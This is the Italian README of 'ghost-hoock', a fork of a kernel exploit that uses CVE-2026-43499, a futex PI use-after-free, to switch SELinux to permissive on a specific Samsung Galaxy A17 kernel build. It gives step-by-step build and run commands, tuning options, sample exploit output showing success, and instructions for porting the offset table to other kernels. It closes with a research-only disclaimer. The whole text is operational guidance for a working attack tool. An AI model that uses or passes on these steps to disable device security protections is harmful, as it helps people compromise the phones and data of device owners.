ghost-hoock

Un fork minimale di GhostLock che mantiene una sola primitiva: disattivare SELinux tramite CVE-2026-43499 (futex PI UAF).

Indice

• Cos'è questo
• Come funziona
• Cosa è stato mantenuto dall'originale
• Cosa è stato rimosso
• Compilazione
• Esecuzione
• Requisiti
• Limitazioni e rischi
• Struttura del progetto
• Licenza
• Crediti
• Link

Cos'è questo

ghost-hoock è un fork ridotto all'osso dell'exploit GhostLock di Mobile Hacking Lab, ridotto a una singola primitiva:

Una scrittura vincolata tramite futex PI UAF -> selinux_enforcing = 0.

Niente root, niente sovrascrittura di cred, niente canale rwforge, niente UMH, niente configfs. Solo il minimo necessario per portare SELinux in modalità permissive sul kernel vulnerabile.

Output di esempio su un Samsung Galaxy A17 (SM-A175F, BZA5):

[] kernel: 6.12.23-android16-5-abA175FXXS5BZD2-4k
[+] offsets matched: 6.12.23-android16-5-abA175FXXS5BZD2-4k
[] init_cred image=ffffffc082512b08 alias=ffffff8002512b08
[+] startup context pid=10331 uid=2000 euid=2000 gid=2000 egid=2000 attr=u:r:shell:s0 enforce=1
[+] startup limits pid=10331 NoNewPrivs=0 Seccomp=0 Seccomp_filters=0
[+] build config pid=10331 label=ghost-hoock
[] p0 kernel_phys_load=0000000040000000 delta=0000000000000000 core=0
[] target selinux_enforcing=ffffff800277e560
[] W1 attempt 1/20
[] === W1: SELinux === target=0xffffff800277e560 mode=1
[] prepare_kernel_page ok attempt=1
[] pselect route setup simple=0 shift=0 page=ffffff806c4f0000 fake_lock=ffffff806c4f0000 ...
[] pselect returned ret=6 errno=0 calls=1 success=1 delay=0
[] pselect route done calls=1 success=1 step=0 errno=0
[+] SELinux DISABLED (attempt 1)

Poi:

$ getenforce
Permissive

getenforce restituisce Permissive

Come funziona

L'exploit prende di mira CVE-2026-43499 — una use-after-free nella catena rt_mutex PI (Priority Inheritance) del futex del kernel Linux. La catena in ghost-hoock è composta da quattro passaggi:

*(uint64_t *)target = value | color

Cosa è stato mantenuto dall'originale

Questo è un fork di mobilehackinglab/ghostlock-a17 (MIT). Quanto segue è preso 1:1 dall'exploit upstream:

Anche il codice ausiliario (macro pr_*, SYSCHK, pin_to_core, set_limit, set_unbuffer) è mantenuto così com'è dall'originale.

Cosa è stato rimosso

Il GhostLock originale ottiene root completo sull'A17: installa un canale fisico R/W rwforge, modifica cred / real_cred, esegue un helper UMH con credenziali init, cattura i log e altro ancora. In ghost-hoock, tutto ciò che va oltre la prima scrittura vincolata è stato eliminato.

Il GhostLock originale rimane più completo e potente di questo fork. ghost-hoock non è un sostituto — è un PoC minimale per un unico compito ristretto: disattivare SELinux.

Compilazione

Sul dispositivo (clang, Termux o adb shell)

Richiede clang e make nel $PATH. Testato su Termux; funziona anche tramite adb shell se la toolchain è presente.

git clone https://github.com/USERNAME/ghost-hoock
cd ghost-hoock
make

Output: ./ghost-hoock (aarch64, PIE).

Tramite Android NDK (su un PC)

make NDK=/path/to/android-ndk-r26

oppure manualmente:

/path/to/ndk/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android21-clang \
    -O2 -Isrc -Isrc/kernelsnitch -Iinclude \
    -D_GNU_SOURCE -D__ARM=1 -DTARGET_CONFIG_H='"target.h"' \
    -fPIE -pie -pthread \
    src/main.c src/spray.c src/route.c -o ghost-hoock

Verifica della cross-compilazione

file ghost-hoock
# ghost-hoock: ELF 64-bit LSB pie executable, ARM aarch64, ...

Esecuzione

# copy the binary somewhere readable from the shell context
cp ghost-hoock /data/local/tmp/
chmod 755 /data/local/tmp/ghost-hoock

# confirm SELinux is currently enforcing
getenforce
# -> Enforcing

# run
/data/local/tmp/ghost-hoock

# verify
getenforce
# -> Permissive

Opzioni

ghost-hoock [options]
  --attempts N   number of W1 attempts (default: 20)
  --no-drain     skip slab_drain before each W1 attempt
  -h, --help     show help

Variabili d'ambiente

· GHOSTLOCK_CORE — 0..N. Core CPU su cui è fissato il thread consumer. Predefinito: 0. · KPHYS — 0x.... Indirizzo fisico di caricamento del kernel, se diverso da P0_KERNEL_PHYS_LOAD. · PREPARE_SLABS — 4..64. Numero di pagine slab preparate durante lo spray. Predefinito: 32. · PSELECT_SHIFT — -14..14. Shift della word dell'fd_set. Solo per debug. · FOPS_MAX_ATTEMPTS — 4..72. Numero massimo di tentativi di prepare_kernel_page per il payload FOPS. · RWF_DEBUG — qualsiasi valore. Stampa le righe di debug dalla costruzione del payload.

Requisiti

• Dispositivo: Samsung Galaxy A17 SM-A175F (BZA5) — il target per cui è stata estratta questa tabella di offset.
• Kernel: 6.12.23-android16-5-abA175FXXS5BZD2-4k.
• Contesto: deve essere eseguito dal contesto SELinux shell (u:r:shell:s0), non da un'app.
• Permessi: nessuno speciale — non è richiesto root. Lo scopo è proprio disattivare SELinux senza root.

Porting: altri dispositivi/kernel necessitano della propria tabella di offset. Aggiungi una nuova OFFSETS_ENTRY(...) in include/offsets_bza5.h con gli offset dei simboli estratti da vmlinux/kallsyms per quella build, poi ricompila.

Limitazioni e rischi

• Sono possibili kernel panic. Il fork eredita il rischio dell'originale: un page_base errato o una scrittura che finisce su memoria non correlata farà crashare il kernel. Il fork ha meno superficie dell'originale (niente rwforge, niente patch di cred, niente UMH), quindi è statisticamente più sicuro, ma non a prova di bomba al 100%.
• KASLR è disattivato su BZA5. L'exploit si basa su slide = 0. Non c'è nessun leak KASLR in questo fork. Se lo porti su un kernel con KASLR abilitato, devi reintrodurre slide.c dall'originale.
• Solo SELinux. Il fork non fornisce root. Scrive solo 0 in selinux_enforcing. Se ti serve root, usa il ghostlock-a17 completo.
• Scrittura singola. È mantenuta solo la Write 1 (selinux_enforcing = 0). Non tentare di estenderla alla Write 2 o alla pipeline rwforge senza comprendere a fondo la route PI.
• Richiede che la scrittura vada a segno entro ~20 tentativi. Se il primo tentativo W1 fallisce, il loop riprova. Su un boot fresco con un sistema per lo più inattivo, di solito va a segno al tentativo 1.

Struttura del progetto

ghost-hoock/
├── include/
│   ├── ghost_hoock.h              # shared header, API
│   ├── offset.h                   # TARGET_CONFIG_H dispatcher
│   ├── offsets_bza5.h             # symbol offsets (BZA5 only)
│   ├── runtime_struct_offsets.h   # dynamic struct offsets (_RSO macros)
│   └── target.h                   # BZA5 addresses, payload layout
├── src/
│   ├── main.c                     # CLI, offset selection, W1 loop
│   ├── spray.c                    # KernelSnitch + heap spray + ashmem
│   ├── route.c                    # PI route + pselect constrained write
│   └── kernelsnitch/              # mm_struct leak (from upstream)
│       ├── kernelsnitch.h
│       ├── futex_hash.h
│       ├── timeutils.h
│       └── utils.h
├── docs/
│   └── img/
│       └── screenshot.jpg
├── Makefile
├── LICENSE
├── .gitignore
└── README.md

Licenza

MIT — come l'upstream ghostlock-a17. Vedi LICENSE.

Questo fork mantiene l'avviso di copyright originale di mobilehackinglab (2026) e aggiunge sopra gli autori del fork, come richiesto dai termini MIT.

Il progetto è pubblicato rigorosamente per ricerca sulla sicurezza sul proprio dispositivo. Eseguirlo contro un dispositivo che non possiedi è illegale nella maggior parte delle giurisdizioni.

Crediti

• Mobile Hacking Lab — exploit originale ghostlock-a17, su cui è costruito questo fork.
• IAIK KernelSnitch — tecnica di leak di mm_struct.
• I ricercatori originali di CVE-2026-43499 — per il reverse engineering della futex PI UAF.

Link

• Exploit upstream: https://github.com/mobilehackinglab/ghostlock-a17
• Questo fork: https://github.com/genksome/ghost-hoock
• CVE: CVE-2026-43499

_{Creato per la ricerca. Testato su un singolo dispositivo fisico. Usa a tuo rischio.}